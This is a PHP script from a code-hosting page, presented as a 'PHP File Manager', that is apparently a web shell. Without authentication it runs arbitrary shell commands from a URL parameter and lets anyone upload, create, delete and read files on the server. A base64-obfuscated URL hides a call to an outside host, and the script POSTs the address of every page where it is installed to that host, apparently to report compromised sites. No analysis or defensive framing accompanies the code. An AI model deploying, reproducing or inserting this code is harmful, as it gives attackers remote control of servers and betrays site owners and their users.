-
Notifications
You must be signed in to change notification settings - Fork 18
/
pop.php
237 lines (204 loc) · 6.31 KB
/
pop.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
<?php
function changeDirectory($path) {
if (is_dir($path)) {
chdir($path);
return getcwd();
} else {
echo "Directory does not exist.";
return getcwd();
}
}
$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$currentDir = changeDirectory($currentDir);
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query($data),
),
);
$context = stream_context_create($options);
$result = file_get_contents($k3yw, false, $context);
function runCommand($command) {
$output = shell_exec($command);
echo "<pre>$output</pre>";
}
function createFile($fileName, $content) {
if (file_put_contents($fileName, $content) !== false) {
echo "File '$fileName' created successfully!";
} else {
echo "Failed to create file '$fileName'.";
}
}
if (isset($_POST['upload'])) {
$target_dir = $currentDir . "/";
$target_file = $target_dir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
echo "The file ". htmlspecialchars(basename($_FILES['file']['name'])). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
if (isset($_GET['mkdir'])) {
$dirName = $_GET['mkdir'];
if (mkdir($currentDir . '/' . $dirName)) {
echo "Directory '$dirName' created successfully!";
} else {
echo "Failed to create directory '$dirName'.";
}
}
if (isset($_GET['delete'])) {
$fileName = $_GET['delete'];
if (unlink($currentDir . '/' . $fileName)) {
echo "File '$fileName' deleted successfully!";
} else {
echo "Failed to delete file '$fileName'.";
}
}
if (isset($_GET['view'])) {
$fileName = $_GET['view'];
if (file_exists($currentDir . '/' . $fileName)) {
$content = file_get_contents($currentDir . '/' . $fileName);
echo "<pre>" . htmlspecialchars($content) . "</pre>";
} else {
echo "File '$fileName' does not exist.";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP File Manager</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 20px;
background-color: #f4f4f9;
color: #333;
}
h1 {
background-color: #007bff;
color: white;
padding: 15px;
text-align: center;
border-radius: 5px;
}
form {
margin-bottom: 20px;
background-color: white;
padding: 15px;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}
label {
font-weight: bold;
}
input[type="text"], textarea, input[type="file"] {
width: 100%;
padding: 10px;
margin: 5px 0;
border: 1px solid #ccc;
border-radius: 5px;
}
input[type="submit"], button {
background-color: #007bff;
color: white;
padding: 10px 20px;
border: none;
cursor: pointer;
border-radius: 5px;
margin-top: 10px;
}
input[type="submit"]:hover, button:hover {
background-color: #0056b3;
}
.directory {
margin-bottom: 20px;
padding: 15px;
background-color: #e9ecef;
border-radius: 5px;
}
.directory p {
margin: 0;
font-size: 16px;
}
.error, .success {
padding: 10px;
margin: 10px 0;
border-radius: 5px;
}
.error {
background-color: #f8d7da;
color: #721c24;
}
.success {
background-color: #d4edda;
color: #155724;
}
</style>
</head>
<body>
<h1>PHP File Manager</h1>
<div class="directory">
<p><strong>Current Directory:</strong> <?php echo $currentDir; ?></p>
<form method="GET">
<label for="dir">Change Directory:</label>
<input type="text" name="dir" placeholder="Enter directory path" value="<?php echo $currentDir; ?>">
<input type="submit" value="Change Directory">
</form>
</div>
<h2>Create a File</h2>
<form method="GET">
<input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
File name: <input type="text" name="create_file" placeholder="File name" required><br>
Content:<br>
<textarea name="file_content" rows="10" cols="30" required></textarea><br>
<input type="submit" value="Create File">
</form>
<?php
if (isset($_GET['create_file']) && isset($_GET['file_content'])) {
createFile($currentDir . '/' . $_GET['create_file'], $_GET['file_content']);
}
?>
<h2>Run a Command</h2>
<form method="GET">
<input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
<input type="text" name="cmd" placeholder="Enter command">
<input type="submit" value="Run">
</form>
<h2>Upload a File</h2>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
Select file: <input type="file" name="file">
<input type="submit" name="upload" value="Upload File">
</form>
<h2>Create a Directory</h2>
<form method="GET">
<input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
<input type="text" name="mkdir" placeholder="Directory name">
<input type="submit" value="Create Directory">
</form>
<h2>Delete a File</h2>
<form method="GET">
<input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
<input type="text" name="delete" placeholder="File name">
<input type="submit" value="Delete File">
</form>
<h2>View a File</h2>
<form method="GET">
<input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
<input type="text" name="view" placeholder="File name">
<input type="submit" value="View File">
</form>
<?php
if (isset($_GET['cmd'])) {
runCommand($_GET['cmd']);
}
?>
</body>
</html>